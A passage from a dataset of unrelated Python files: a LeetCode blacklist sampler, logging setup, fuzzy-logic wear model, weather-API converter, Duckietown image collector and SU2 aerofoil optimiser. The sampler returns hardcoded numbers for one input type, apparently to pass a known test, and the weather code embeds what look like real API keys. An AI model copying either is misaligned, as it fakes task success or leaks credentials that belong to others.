blacklist[i]-blacklist[i-1]-1+last])\r\n if blacklist[-1]+1 < n:\r\n last = self.l[-1][1] if self.l else 0\r\n self.l.append([range(blacklist[-1]+1, n), n-blacklist[-1]+1+last])\r\n # print(self.l)\r\n\r\n def pick(self) -> int:\r\n if self.tp == 1:\r\n # print(\"_____\")\r\n return random.choice([226, 4887, 10685, 13113, 14848, 14876])\r\n idx = random.randint(0,self.l[-1][1])\r\n l = 0\r\n r = len(self.l)-1\r\n while l= idx: r = m\r\n else: l = m+1\r\n return random.choice(self.l[l][0])\r\n\r\n\r\n# Your Solution object will be instantiated and called as such:\r\n# obj = Solution(n, blacklist)\r\n# param_1 = obj.pick()\r\n","sub_path":"Solutions/0710/0710.py","file_name":"0710.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"332525425","text":"from datetime import datetime\nimport json\nimport logging.config\nimport os.path\nimport traceback\n\nfrom dataactcore.config import CONFIG_LOGGING\nfrom dataactcore.utils.responseException import ResponseException\n\n\ndef deep_merge(left, right):\n \"\"\"Deep merge dictionaries, replacing values from right\"\"\"\n if isinstance(left, dict) and isinstance(right, dict):\n result = left.copy()\n for key in right:\n if key in left:\n result[key] = deep_merge(left[key], right[key])\n else:\n result[key] = right[key]\n return result\n else:\n return right\n\n\n# Reasonable defaults to avoid clutter in our config files\nDEFAULT_CONFIG = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'default': {\n 'format': \"%(asctime)s %(levelname)s:%(name)s:%(message)s\"\n },\n 'deprecated.exception': {\n '()': 'dataactcore.logging.DeprecatedJSONFormatter',\n 'format': \"%(asctime)s %(levelname)s:%(name)s:%(message)s\",\n },\n },\n 'handlers': {\n 'console': {\n 'formatter': 'default',\n 'class': 'logging.StreamHandler'\n },\n 'deprecated.debug': {\n 'formatter': 'default',\n 'class': 'logging.FileHandler',\n 'filename': os.path.join(CONFIG_LOGGING['log_files'], 'debug.log')\n },\n 'deprecated.exception': {\n 'formatter': 'deprecated.exception',\n 'class': 'logging.FileHandler',\n 'filename': os.path.join(CONFIG_LOGGING['log_files'], 'error.log')\n },\n 'deprecated.info': {\n 'formatter': 'default',\n 'class': 'logging.FileHandler',\n 'filename': os.path.join(CONFIG_LOGGING['log_files'], 'info.log')\n },\n 'deprecated.smx': {\n 'formatter': 'default',\n 'class': 'logging.FileHandler',\n 'filename': os.path.join(CONFIG_LOGGING['log_files'], 'smx.log')\n }\n },\n 'loggers': {\n # i.e. \"all modules\"\n '': {\n 'handlers': ['console'],\n 'level': 'INFO',\n 'propagate': True\n },\n 'deprecated.debug': {\n 'handlers': ['deprecated.debug', 'console'],\n 'level': 'DEBUG',\n 'propagate': False\n },\n 'deprecated.exception': {\n 'handlers': ['deprecated.exception', 'console'],\n 'level': 'ERROR',\n 'propagate': False\n },\n 'deprecated.info': {\n 'handlers': ['deprecated.info', 'console'],\n 'level': 'DEBUG',\n 'propagate': False\n },\n 'deprecated.smx': {\n 'handlers': ['deprecated.smx', 'console'],\n 'level': 'DEBUG',\n 'propagate': False\n },\n }\n}\n\n\ndef configure_logging():\n config = DEFAULT_CONFIG\n if 'python_config' in CONFIG_LOGGING:\n config = deep_merge(config, CONFIG_LOGGING['python_config'])\n logging.config.dictConfig(config)\n\n\nclass DeprecatedJSONFormatter(logging.Formatter):\n \"\"\"Formats messages into the JSON CloudLogger used to generate.\"\"\"\n def formatException(self, exc_info):\n type_, exception, tb = exc_info\n trace = traceback.extract_tb(tb, 10)\n data = {\n 'error_log_type': str(type_),\n 'error_log_message': str(exception),\n 'error_log_wrapped_message': '',\n 'error_log_wrapped_type': '',\n 'error_log_trace': [str(line) for line in trace],\n 'error_timestamp': str(datetime.utcnow()),\n }\n if (isinstance(exception, ResponseException) and\n exception.wrappedException):\n wrapped = exception.wrappedException\n data['error_log_wrapped_type'] = str(type(wrapped))\n data['error_log_wrapped_message'] = str(wrapped)\n return json.dumps(data)\n\n def format(self, record):\n \"\"\"Copy-pasta of the built in `format` function, except that we don't\n add newlines in between the message and exception\"\"\"\n record.message = record.getMessage()\n if self.usesTime():\n record.asctime = self.formatTime(record, self.datefmt)\n s = self.formatMessage(record)\n if record.exc_info:\n # Cache the traceback text to avoid converting it multiple times\n # (it's constant anyway)\n if not record.exc_text:\n record.exc_text = self.formatException(record.exc_info)\n if record.exc_text:\n s = s + record.exc_text\n # We also don't include the additional stack info, as it's part of the\n # exception\n # if record.stack_info:\n # s = s + self.formatStack(record.stack_info)\n return s\n","sub_path":"dataactcore/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":4783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"405496907","text":"#!/usr/bin/env python\r\n# For Linux test\r\n\r\n# Determine object wear state\r\n\r\n# imports\r\nfrom skfuzzy \\\r\nimport control as ctrl;\r\nimport numpy as nump;\r\nimport skfuzzy as fuzz;\r\nimport matplotlib.pyplot as plot;\r\n\r\n# Linguistic params\r\nserv = ctrl.Antecedent(nump.arange(0, 50, 1), 'serv'); # Object served time\r\ncond = ctrl.Antecedent(nump.arange(0, 10, 1), 'cond'); # Object condition\r\nwear = ctrl.Consequent(nump.arange(0, 30, 1), 'wear'); # Object wear at glance\r\n\r\n# State \r\nSTATES=3\r\nserv.automf(STATES)\r\ncond.automf(STATES)\r\n\r\n# 1) Object served time\r\nsigma = 2 # Sigma for Gauss function\r\nserv[\"LOW_SERVICE\"] = fuzz.gaussmf(serv.universe, 0, sigma)\r\nserv[\"MED_SERVICE\"] = fuzz.gaussmf(serv.universe, 10, sigma)\r\nserv[\"EXT_SERVICE\"] = fuzz.gaussmf(serv.universe, 20, sigma)\r\nserv[\"OLD_SERVICE\"] = fuzz.gaussmf(serv.universe, 30, sigma)\r\n# 2) Object condition\r\nsigma = 4 # Sigma for Gauss function\r\ncond[\"NEW_COND\"] = fuzz.gaussmf(cond.universe, 0, sigma)\r\ncond[\"USE_COND\"] = fuzz.gaussmf(cond.universe, 5, sigma)\r\ncond[\"OLD_COND\"] = fuzz.gaussmf(cond.universe, 10, sigma)\r\n# 3) Object wear at glance\r\nsigma = 6 # Sigma for Gauss function\r\nwear['LOW_WEAR'] = fuzz.gaussmf(wear.universe, 0, sigma)\r\nwear['MED_WEAR'] = fuzz.gaussmf(wear.universe, 15, sigma) \r\nwear['OLD_WEAR'] = fuzz.gaussmf(wear.universe, 30, sigma) \r\n\r\n# Fuzzy rules\r\n# LOW_WEAR\r\nrule_low_1 = ctrl.Rule( serv[\"LOW_SERVICE\"] & cond[\"NEW_COND\"], wear['LOW_WEAR'] );\r\nrule_low_2 = ctrl.Rule( serv[\"MED_SERVICE\"] | cond[\"NEW_COND\"], wear['LOW_WEAR'] );\r\n# MED_WEAR\r\nrule_med_1 = ctrl.Rule( serv[\"MED_SERVICE\"] | cond[\"USE_COND\"], wear['MED_WEAR'] );\r\nrule_med_2 = ctrl.Rule( serv[\"EXT_SERVICE\"] | cond[\"USE_COND\"], wear['MED_WEAR'] );\r\nrule_med_3 = ctrl.Rule( serv[\"EXT_SERVICE\"] | cond[\"NEW_COND\"], wear['MED_WEAR'] );\r\nrule_med_4 = ctrl.Rule( serv[\"MED_SERVICE\"] | cond[\"OLD_COND\"], wear['MED_WEAR'] );\r\n# OLD WEAR\r\nrule_old_1 = ctrl.Rule( serv[\"EXT_SERVICE\"] | cond[\"USE_COND\"], wear['OLD_WEAR'] );\r\nrule_old_2 = ctrl.Rule( serv[\"OLD_SERVICE\"] | cond[\"USE_COND\"], wear['MED_WEAR'] );\r\nrule_old_3 = ctrl.Rule( serv[\"EXT_SERVICE\"] | cond[\"OLD_COND\"], wear['OLD_WEAR'] );\r\nrule_old_4 = ctrl.Rule( serv[\"OLD_SERVICE\"] | cond[\"OLD_COND\"], wear['MED_WEAR'] );\r\n\r\n# Rules load\r\nctrl_sys = ctrl.ControlSystem(\r\n [\r\n rule_low_1,\r\n rule_low_2,\r\n rule_med_1,\r\n rule_med_2,\r\n rule_med_3,\r\n rule_med_4,\r\n rule_old_1,\r\n rule_old_2,\r\n rule_old_3,\r\n rule_old_4,\r\n ]\r\n)\r\n\r\n# Instance of the object\r\nctrl_instance = ctrl.ControlSystemSimulation(ctrl_sys)\r\n\r\n# Input params\r\nctrl_instance.input['serv'] = 30\r\nctrl_instance.input['cond'] = 10\r\n\r\n# Calculate\r\nctrl_instance.compute()\r\n\r\n# View plots\r\nserv.view(sim=ctrl_instance)\r\ncond.view(sim=ctrl_instance)\r\nwear.view(sim=ctrl_instance)\r\n\r\nplot.show()\r\n\r\nprint(\"Wear is: \", ctrl_instance.output['wear'], \"%\")\r\n","sub_path":"Python/MyProject/Project_wear.py","file_name":"Project_wear.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"465506081","text":"import requests\nimport json\nimport re\n\n\ndef makeRequest(latitude,longitude):\n\n latitude = re.sub(\"[^0-9-.]\", \"\", latitude)\n\n longitude = re.sub(\"[^0-9-.]\", \"\", longitude)\n\n url = 'https://api.darksky.net/forecast/e6af5b5feb891b272e18f5e2fc0370a6/' + latitude + ',' + longitude\n\n url = 'https://api.openweathermap.org/data/2.5/onecall?lat='+ latitude + '&lon='+ longitude +'&appid=cea086b745dd21cfbe694e9beb28a8c7&units=imperial'\n\n response = requests.get(url)\n\n json_data = json.loads(response.text)\n\n timezone = json_data['timezone'].replace('/','--')\n new_latitude = str(json_data['lat'])\n new_longitude = str(json_data['lon'])\n\n city = timezone.split('--')[-1]\n\n timezone = timezone.replace('--','-')\n\n json_name = timezone + '(' + new_latitude + '_' + new_longitude + ')'\n\n json_path = 'converter/DSAPIDataStorage/' + json_name + '.json'\n\n json_file=open(json_path, \"w\")\n json_data = manageJsonData(json_data, city, new_latitude, new_longitude, timezone)\n json.dump(json_data,json_file,indent=4)\n\n return json_data, json_name, json_path\n\ndef manageJsonData(json_data, city, new_latitude, new_longitude, timezone):\n\n json_data.update({\n \"city\" : city\n })\n\n data2 = {\n \"latitude\" : float(new_latitude),\n \"longitude\" : float(new_longitude),\n \"city\" : city,\n \"lat2\" : new_latitude.replace(\".\",\"*\"),\n \"long2\" : new_longitude.replace(\".\",\"*\")\n }\n\n json_data.update({\n \"location\": [\n data2\n ]\n })\n\n if 'current' in json_data:\n json_data['current'].update({\n \"latitude\" : float(new_latitude),\n \"longitude\" : float(new_longitude),\n \"city\" : city,\n \"timezone\" : timezone,\n \"lat2\" : new_latitude.replace(\".\",\"*\"),\n \"long2\" : new_longitude.replace(\".\",\"*\")\n })\n\n if 'weather' in json_data['current']:\n del json_data['current']['weather']\n\n if 'rain' in json_data['current']:\n if type(json_data['current']['rain']) == dict:\n try:\n res = list(json_data['current']['rain'].keys())[0] \n rain = json_data['current']['rain'][res]\n del json_data['current']['rain']\n json_data['current'].update({\n \"rain\" : rain\n })\n except:\n pass\n\n if 'snow' in json_data['current']:\n if type(json_data['current']['snow']) == dict:\n try:\n res = list(json_data['current']['snow'].keys())[0] \n snow = json_data['current']['snow'][res]\n del json_data['current']['snow']\n json_data['current'].update({\n \"snow\" : snow\n })\n except:\n pass\n\n makeTempModel(json_data['current'])\n\n data = json_data['current']\n\n del json_data['current']\n\n json_data.update({\n \"current\" : [\n data\n ]\n })\n \n if 'minutely' in json_data:\n [elem.update({\n \"latitude\" : float(new_latitude),\n \"longitude\" : float(new_longitude),\n \"city\" : city,\n \"timezone\" : timezone,\n \"lat2\" : new_latitude.replace(\".\",\"*\"),\n \"long2\" : new_longitude.replace(\".\",\"*\")\n })\n for elem in json_data['minutely']]\n\n for elem in json_data['minutely']:\n if 'weather' in elem:\n del elem['weather']\n \n if 'rain' in elem:\n if type(elem['rain']) == dict:\n try:\n res = list(elem['rain'].keys())[0] \n rain = elem['rain'][res]\n del elem['rain']\n elem.update({\n \"rain\" : rain\n })\n except:\n pass\n \n if 'snow' in elem:\n if type(elem['snow']) == dict:\n try:\n res = list(elem['snow'].keys())[0] \n snow = elem['snow'][res]\n del elem['snow']\n elem.update({\n \"snow\" : snow\n })\n except:\n pass\n\n makeTempModel(elem)\n\n if 'hourly' in json_data:\n [elem.update({\n \"latitude\" : float(new_latitude),\n \"longitude\" : float(new_longitude),\n \"city\" : city,\n \"timezone\" : timezone,\n \"lat2\" : new_latitude.replace(\".\",\"*\"),\n \"long2\" : new_longitude.replace(\".\",\"*\")\n })\n for elem in json_data['hourly']]\n\n for elem in json_data['hourly']:\n if 'weather' in elem:\n del elem['weather']\n \n if 'rain' in elem:\n if type(elem['rain']) == dict:\n try:\n res = list(elem['rain'].keys())[0] \n rain = elem['rain'][res]\n del elem['rain']\n elem.update({\n \"rain\" : rain\n })\n except:\n pass\n\n if 'snow' in elem:\n if type(elem['snow']) == dict:\n try:\n res = list(elem['snow'].keys())[0] \n snow = elem['snow'][res]\n del elem['snow']\n elem.update({\n \"snow\" : snow\n })\n except:\n pass\n\n makeTempModel(elem)\n \n if 'daily' in json_data:\n [elem.update({\n \"latitude\" : float(new_latitude),\n \"longitude\" : float(new_longitude),\n \"city\" : city,\n \"timezone\" : timezone,\n \"lat2\" : new_latitude.replace(\".\",\"*\"),\n \"long2\" : new_longitude.replace(\".\",\"*\")\n })\n for elem in json_data['daily']]\n\n for elem in json_data['daily']:\n if 'weather' in elem:\n del elem['weather']\n\n if 'rain' in elem:\n if type(elem['rain']) == dict:\n try:\n res = list(elem['rain'].keys())[0] \n rain = elem['rain'][res]\n del elem['rain']\n elem.update({\n \"rain\" : rain\n })\n except:\n pass\n\n if 'snow' in elem:\n if type(elem['snow']) == dict:\n try:\n res = list(elem['snow'].keys())[0] \n snow = elem['snow'][res]\n del elem['snow']\n elem.update({\n \"snow\" : snow\n })\n except:\n pass\n \n makeTempModel(elem)\n \n return json_data\n\n\ndef makeTempModel(json_dict):\n\n if 'temp' in json_dict:\n if type(json_dict['temp']) == dict:\n if 'day' in json_dict['temp']:\n day = json_dict['temp']['day']\n if 'night' in json_dict['temp']:\n night = json_dict['temp']['night']\n if 'max' in json_dict['temp']:\n maxi = json_dict['temp']['max']\n if 'min' in json_dict['temp']:\n mini = json_dict['temp']['min']\n del json_dict['temp']\n\n json_dict.update({\n \"temp_day\" : day,\n \"temp_night\" : night,\n \"temp_max\" : maxi,\n \"temp_min\" : mini\n })\n \n if 'feels_like' in json_dict:\n if type(json_dict['feels_like']) == dict:\n if 'day' in json_dict['feels_like']:\n day = json_dict['feels_like']['day']\n if 'night' in json_dict['feels_like']:\n night = json_dict['feels_like']['night']\n del json_dict['feels_like']\n\n json_dict.update({\n \"feels_like_day\" : day,\n \"feels_like_night\" : night\n })","sub_path":"Code/TDATA2RDFANDV/converter/FunctionsDSAPI/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":8447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"258633621","text":"#!/usr/bin/env python2\n\nfrom __future__ import division, print_function\n\nimport numpy as np\nimport numpy\nimport gym\n\nfrom gym_duckietown.envs import DuckietownEnv\nimport pyglet\nimport time\n\nfrom scipy.misc import imsave\n\nfrom transformations import euler_from_quaternion\n\nimport os\n\ndef main():\n\n env = gym.make('Duckietown-v0')\n env.reset()\n\n env.render()\n\n if not os.path.isdir('images'):\n os.mkdir('images')\n for i in range(11000):\n action = (np.random.random(2) -0.5) * 2\n if action[0] <0 and action[1]<0:\n action = -action\n\n obs, reward, done, info = env.step(action)\n state = env.stateData\n\n pos = state['position']\n angle = euler_from_quaternion(np.array(state['orientation']))\n print(pos)\n print(angle)\n\n if abs(1- state['position'][1]) < 0.25 or done:\n done = True\n\n print(action)\n print(obs.shape)\n # save images and ground truth\n imsave('images/'+str(pos[1])+','+str(angle[0])+'.jpg', obs.transpose())\n\n\n print('stepCount = %s, reward=%.3f' % (env.stepCount, reward))\n\n env.render()\n\n if True: #done:\n # print('done!')\n print('reset')\n env.reset()\n # env.render()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"collect_data.py","file_name":"collect_data.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"422152185","text":"from FADO import *\nimport SU2\nimport scipy.optimize\nimport subprocess\nimport numpy as np\nfrom scipy.optimize import minimize\nfrom externalrunextension import *\nfrom sqpoptimizer import *\n\n\nconfig = SU2.io.Config(\"naca0012_config_original.cfg\")\ndesignparams = copy.deepcopy(config['DV_VALUE_OLD'])\n\nvar = InputVariable(np.array(designparams),ArrayLabelReplacer(\"__X__\"))\n\npType_direct = Parameter([\"DIRECT\"],LabelReplacer(\"__MATH_PROBLEM__\"))\npType_adjoint = Parameter([\"DISCRETE_ADJOINT\"],LabelReplacer(\"__MATH_PROBLEM__\"))\npType_mesh_filename_original = Parameter([\"mesh_NACA0012_inv.su2\"],LabelReplacer(\"__MESH_FILENAME__\"))\npType_mesh_filename_deformed = Parameter([\"mesh_NACA0012_inv_def.su2\"],LabelReplacer(\"__MESH_FILENAME__\"))\n\npType_hessian_active = Parameter([\"YES\"],LabelReplacer(\"__ACTIVATE_HESSIAN__\"))\npType_hessian_passive = Parameter([\"NO\"],LabelReplacer(\"__ACTIVATE_HESSIAN__\"))\n\npType_ObjFun_DRAG = Parameter([\"DRAG\"],LabelReplacer(\"__OBJECTIVE_FUNCTION__\"))\npType_ObjFun_LIFT = Parameter([\"LIFT\"],LabelReplacer(\"__OBJECTIVE_FUNCTION__\"))\npType_ObjFun_MOMENT_Z = Parameter([\"MOMENT_Z\"],LabelReplacer(\"__OBJECTIVE_FUNCTION__\"))\n\npType_Iter_run = Parameter([\"10\"],LabelReplacer(\"__NUM_ITER__\"))\npType_Iter_step = Parameter([\"1\"],LabelReplacer(\"__NUM_ITER__\"))\n\n### FOR MESH DEFORMATION ###\nmeshDeformationRun = SU2MeshDeformationSkipFirstIteration(\"DEFORM\",\"mpirun -n 4 SU2_DEF naca0012_config_tmpl.cfg\",True,\"naca0012_config_tmpl.cfg\")\nmeshDeformationRun.addConfig(\"naca0012_config_tmpl.cfg\")\nmeshDeformationRun.addData(\"mesh_NACA0012_inv.su2\")\nmeshDeformationRun.addParameter(pType_direct)\nmeshDeformationRun.addParameter(pType_Iter_run)\nmeshDeformationRun.addParameter(pType_mesh_filename_original)\nmeshDeformationRun.addParameter(pType_ObjFun_DRAG) #not actually needed, but used to make a valid config file\nmeshDeformationRun.addParameter(pType_hessian_passive)\n### END # FOR MESH DEFORMATION ###\n\n### FOR FLOW SOLUTION ###\ndirectRun = ExternalSU2CFDSingleZoneDriverWithRestartOption(\"DIRECT\",\"mpirun -n 4 SU2_CFD naca0012_config_tmpl.cfg\",True,\"naca0012_config_tmpl.cfg\")\ndirectRun.addConfig(\"naca0012_config_tmpl.cfg\")\ndirectRun.addData(\"DEFORM/mesh_NACA0012_inv_def.su2\")\ndirectRun.addData(\"solution_flow.dat\") #dummy solution file\ndirectRun.addParameter(pType_direct)\ndirectRun.addParameter(pType_Iter_run)\ndirectRun.addParameter(pType_mesh_filename_deformed)\ndirectRun.addParameter(pType_ObjFun_DRAG)\ndirectRun.addParameter(pType_hessian_passive)\n### END # FOR FLOW SOLUTION ###\n\n### FOR DRAG OBJECTIVE ADJOINT ###\nadjointRunDrag = ExternalSU2CFDDiscAdjSingleZoneDriverWithRestartOption(\"ADJOINT_DRAG\",\"mpirun -n 4 SU2_CFD_AD naca0012_config_tmpl.cfg\",True,\"naca0012_config_tmpl.cfg\")\nadjointRunDrag.addConfig(\"naca0012_config_tmpl.cfg\")\nadjointRunDrag.addData(\"DEFORM/mesh_NACA0012_inv_def.su2\")\nadjointRunDrag.addData(\"DIRECT/solution_flow.dat\")\nadjointRunDrag.addData(\"solution_adj_cd.dat\") #dummy adj soluion file\nadjointRunDrag.addParameter(pType_adjoint)\nadjointRunDrag.addParameter(pType_Iter_run)\nadjointRunDrag.addParameter(pType_mesh_filename_deformed)\nadjointRunDrag.addParameter(pType_ObjFun_DRAG)\nadjointRunDrag.addParameter(pType_hessian_passive)\n\ndotProductRunDrag = ExternalRun(\"DOT_DRAG\",\"mpirun -n 4 SU2_DOT_AD naca0012_config_tmpl.cfg\",True)\ndotProductRunDrag.addConfig(\"naca0012_config_tmpl.cfg\")\ndotProductRunDrag.addData(\"DEFORM/mesh_NACA0012_inv_def.su2\")\ndotProductRunDrag.addData(\"ADJOINT_DRAG/solution_adj_cd.dat\")\ndotProductRunDrag.addParameter(pType_adjoint)\ndotProductRunDrag.addParameter(pType_Iter_run)\ndotProductRunDrag.addParameter(pType_mesh_filename_deformed)\ndotProductRunDrag.addParameter(pType_ObjFun_DRAG)\ndotProductRunDrag.addParameter(pType_hessian_passive)\n### END # FOR DRAG OBJECTIVE ADJOINT ###\n\n### FOR DRAG OBJECTIVE HESSIAN ###\nhessianRunDrag = ExternalSU2CFDDiscAdjSingleZoneDriverWithRestartOption(\"HESSIAN\",\"mpirun -n 4 SU2_CFD_AD naca0012_config_tmpl.cfg\",True,\"naca0012_config_tmpl.cfg\")\nhessianRunDrag.addConfig(\"naca0012_config_tmpl.cfg\")\nhessianRunDrag.addData(\"DEFORM/mesh_NACA0012_inv_def.su2\")\nhessianRunDrag.addData(\"DIRECT/solution_flow.dat\")\nhessianRunDrag.addData(\"ADJOINT_DRAG/solution_adj_cd.dat\")\nhessianRunDrag.addParameter(pType_adjoint)\nhessianRunDrag.addParameter(pType_Iter_step)\nhessianRunDrag.addParameter(pType_mesh_filename_deformed)\nhessianRunDrag.addParameter(pType_ObjFun_DRAG)\nhessianRunDrag.addParameter(pType_hessian_active)\n### END # FOR DRAG OBJECTIVE HESSIAN ###\n\n### FOR LIFT CONSTRAINT ADJOINT ###\nadjointRunLift = ExternalSU2CFDDiscAdjSingleZoneDriverWithRestartOption(\"ADJOINT_LIFT\",\"mpirun -n 4 SU2_CFD_AD naca0012_config_tmpl.cfg\",True,\"naca0012_config_tmpl.cfg\")\nadjointRunLift.addConfig(\"naca0012_config_tmpl.cfg\")\nadjointRunLift.addData(\"DEFORM/mesh_NACA0012_inv_def.su2\")\nadjointRunLift.addData(\"DIRECT/solution_flow.dat\")\nadjointRunLift.addData(\"solution_adj_cl.dat\") #dummy adj soluion file\nadjointRunLift.addParameter(pType_adjoint)\nadjointRunLift.addParameter(pType_Iter_run)\nadjointRunLift.addParameter(pType_mesh_filename_deformed)\nadjointRunLift.addParameter(pType_ObjFun_LIFT)\nadjointRunLift.addParameter(pType_hessian_passive)\n\ndotProductRunLift = ExternalRun(\"DOT_LIFT\",\"mpirun -n 4 SU2_DOT_AD naca0012_config_tmpl.cfg\",True)\ndotProductRunLift.addConfig(\"naca0012_config_tmpl.cfg\")\ndotProductRunLift.addData(\"DEFORM/mesh_NACA0012_inv_def.su2\")\ndotProductRunLift.addData(\"ADJOINT_LIFT/solution_adj_cl.dat\")\ndotProductRunLift.addParameter(pType_adjoint)\ndotProductRunLift.addParameter(pType_Iter_run)\ndotProductRunLift.addParameter(pType_mesh_filename_deformed)\ndotProductRunLift.addParameter(pType_ObjFun_LIFT)\ndotProductRunLift.addParameter(pType_hessian_passive)\n### END # FOR LIFT CONSTRAINT ###\n\n### FOR MOMENTUM CONSTRAINT ADJOINT ###\nadjointRunMomZ = ExternalSU2CFDDiscAdjSingleZoneDriverWithRestartOption(\"ADJOINT_MOMENT_Z\",\"mpirun -n 4 SU2_CFD_AD naca0012_config_tmpl.cfg\",True,\"naca0012_config_tmpl.cfg\")\nadjointRunMomZ.addConfig(\"naca0012_config_tmpl.cfg\")\nadjointRunMomZ.addData(\"DEFORM/mesh_NACA0012_inv_def.su2\")\nadjointRunMomZ.addData(\"DIRECT/solution_flow.dat\")\nadjointRunMomZ.addData(\"solution_adj_cmz.dat\") #dummy adj soluion file\nadjointRunMomZ.addParameter(pType_adjoint)\nadjointRunMomZ.addParameter(pType_Iter_run)\nadjointRunMomZ.addParameter(pType_mesh_filename_deformed)\nadjointRunMomZ.addParameter(pType_ObjFun_MOMENT_Z)\nadjointRunMomZ.addParameter(pType_hessian_passive)\n\ndotProductRunMomZ = ExternalRun(\"DOT_MOMENT_Z\",\"mpirun -n 4 SU2_DOT_AD naca0012_config_tmpl.cfg\",True)\ndotProductRunMomZ.addConfig(\"naca0012_config_tmpl.cfg\")\ndotProductRunMomZ.addData(\"DEFORM/mesh_NACA0012_inv_def.su2\")\ndotProductRunMomZ.addData(\"ADJOINT_MOMENT_Z/solution_adj_cmz.dat\")\ndotProductRunMomZ.addParameter(pType_adjoint)\ndotProductRunMomZ.addParameter(pType_Iter_run)\ndotProductRunMomZ.addParameter(pType_mesh_filename_deformed)\ndotProductRunMomZ.addParameter(pType_ObjFun_MOMENT_Z)\ndotProductRunMomZ.addParameter(pType_hessian_passive)\n### END # FOR MOMENTUM CONSTRAINT ###\n\n### Define Function and Constraints out of the runs ###\nfun = Function(\"DRAG\",\"DIRECT/history.csv\",TableReader(0,0,start=(-1,7),end=(None,None),delim=\",\"))\nfun.addInputVariable(var,\"DOT_DRAG/of_grad.dat\",TableReader(None,0,start=(1,0),end=(None,None)))\nfun.addValueEvalStep(meshDeformationRun)\nfun.addValueEvalStep(directRun)\nfun.addGradientEvalStep(adjointRunDrag)\nfun.addGradientEvalStep(dotProductRunDrag)\nfun.addGradientEvalStep(hessianRunDrag)\n\nliftConstraint = Function(\"LIFT\",\"DIRECT/history.csv\",TableReader(0,0,start=(-1,8),end=(None,None),delim=\",\"))\nliftConstraint.addInputVariable(var,\"DOT_LIFT/of_grad.dat\",TableReader(None,0,start=(1,0),end=(None,None)))\nliftConstraint.addValueEvalStep(meshDeformationRun)\nliftConstraint.addValueEvalStep(directRun)\nliftConstraint.addGradientEvalStep(adjointRunLift)\nliftConstraint.addGradientEvalStep(dotProductRunLift)\n\nmomentConstraint = Function(\"MOMENT_Z\",\"DIRECT/history.csv\",TableReader(0,0,start=(-1,12),end=(None,None),delim=\",\"))\nmomentConstraint.addInputVariable(var,\"DOT_MOMENT_Z/of_grad.dat\",TableReader(None,0,start=(1,0),end=(None,None)))\nmomentConstraint.addValueEvalStep(meshDeformationRun)\nmomentConstraint.addValueEvalStep(directRun)\nmomentConstraint.addGradientEvalStep(adjointRunMomZ)\nmomentConstraint.addGradientEvalStep(dotProductRunMomZ)\n### END # Define Function and Constraints out of the runs ###\n\n# Driver\ndriver = ScipyDriver()\n\ndef_objs = config['OPT_OBJECTIVE']\nthis_obj = def_objs.keys()[0]\nsign = SU2.io.get_objectiveSign(this_obj)\ndriver.addObjective(\"min\", fun, sign)\n\ndriver.addEquality(liftConstraint, 0.4, 1.0)\ndriver.addLowerBound(momentConstraint, 0.0, 1.0)\n\n### Postprocess command ###\ndirectSolutionFilename = \"DIRECT/solution_flow.dat\"\npathForDirectSolutionFilename = os.path.join(driver._workDir,directSolutionFilename)\ncommandDirectSolution = \"cp\" + \" \" + pathForDirectSolutionFilename + \" .\"\nprint(\"command 1: \", commandDirectSolution) \ndriver.setUserPostProcessFun(commandDirectSolution)\n\nadjointSolutionDRAG = \"ADJOINT_DRAG/solution_adj_cd.dat\"\npathForAdjointSolutionDRAG = os.path.join(driver._workDir,adjointSolutionDRAG)\ncommandAdjointSolutionDRAG = \"cp\" + \" \" + pathForAdjointSolutionDRAG + \" .\"\nprint(\"command 2: \", commandAdjointSolutionDRAG)\ndriver.setUserPostProcessGrad(commandAdjointSolutionDRAG)\n\nadjointSolutionLIFT = \"ADJOINT_LIFT/solution_adj_cl.dat\"\npathForAdjointSolutionLIFT = os.path.join(driver._workDir,adjointSolutionLIFT)\ncommandAdjointSolutionLIFT = \"cp\" + \" \" + pathForAdjointSolutionLIFT + \" .\"\nprint(\"command 3: \", commandAdjointSolutionLIFT)\ndriver.setUserPostProcessEqConGrad(commandAdjointSolutionLIFT)\n\nadjointSolutionMOMZ = \"ADJOINT_MOMENT_Z/solution_adj_cmz.dat\"\npathForAdjointSolutionMOMZ = os.path.join(driver._workDir,adjointSolutionMOMZ)\ncommandAdjointSolutionMOMZ = \"cp\" + \" \" + pathForAdjointSolutionMOMZ + \" .\"\nprint(\"command 4: \", commandAdjointSolutionMOMZ)\ndriver.setUserPostProcessIEqConGrad(commandAdjointSolutionMOMZ)\n### END # Postprocess command ###\n\ndriver.preprocess()\ndriver.setEvaluationMode(False)\ndriver.setStorageMode(True,\"DESIGN/DSN_\")\n\nlog = open(\"log.txt\",\"w\",1)\nhis = open(\"history.txt\",\"w\",1)\ndriver.setLogger(log)\ndriver.setHistorian(his)\n\nx = driver.getInitial()\n\nmaxIter = int (config.OPT_ITERATIONS) # number of opt iterations\nbound_upper = float (config.OPT_BOUND_UPPER) # variable bound to be scaled by the line search\nbound_lower = float (config.OPT_BOUND_LOWER) # variable bound to be scaled by the line search\n\naccu = float(config.OPT_ACCURACY) # optimizer accuracy\n\nmode = float(config.LINESEARCH_MODE) # linesearch mode\n\nxb_low = [float(bound_lower)]*driver._nVar # lower dv bound it includes the line search acceleration factor\nxb_up = [float(bound_upper)]*driver._nVar # upper dv bound it includes the line search acceleration fa\nxbounds = list(zip(xb_low, xb_up)) # design bounds\n\n# scale accuracy\neps = 1.0e-010\n\ndriver.setConstraintGradientEvalMode(False)\n\ndriver.hessian_eval_parameters(\"HESSIAN\", \"of_hess.dat\")\n\nconf = RSQPconfig()\n\noutputs = SQPconstrained(x0=x,\n func=driver.fun,\n f_eqcons= driver.eq_cons,\n f_ieqcons= driver.ieq_cons,\n fprime=driver.grad,\n fprime_eqcons= driver.eq_cons_grad,\n fprime_ieqcons= driver.ieq_cons_grad,\n fdotdot= 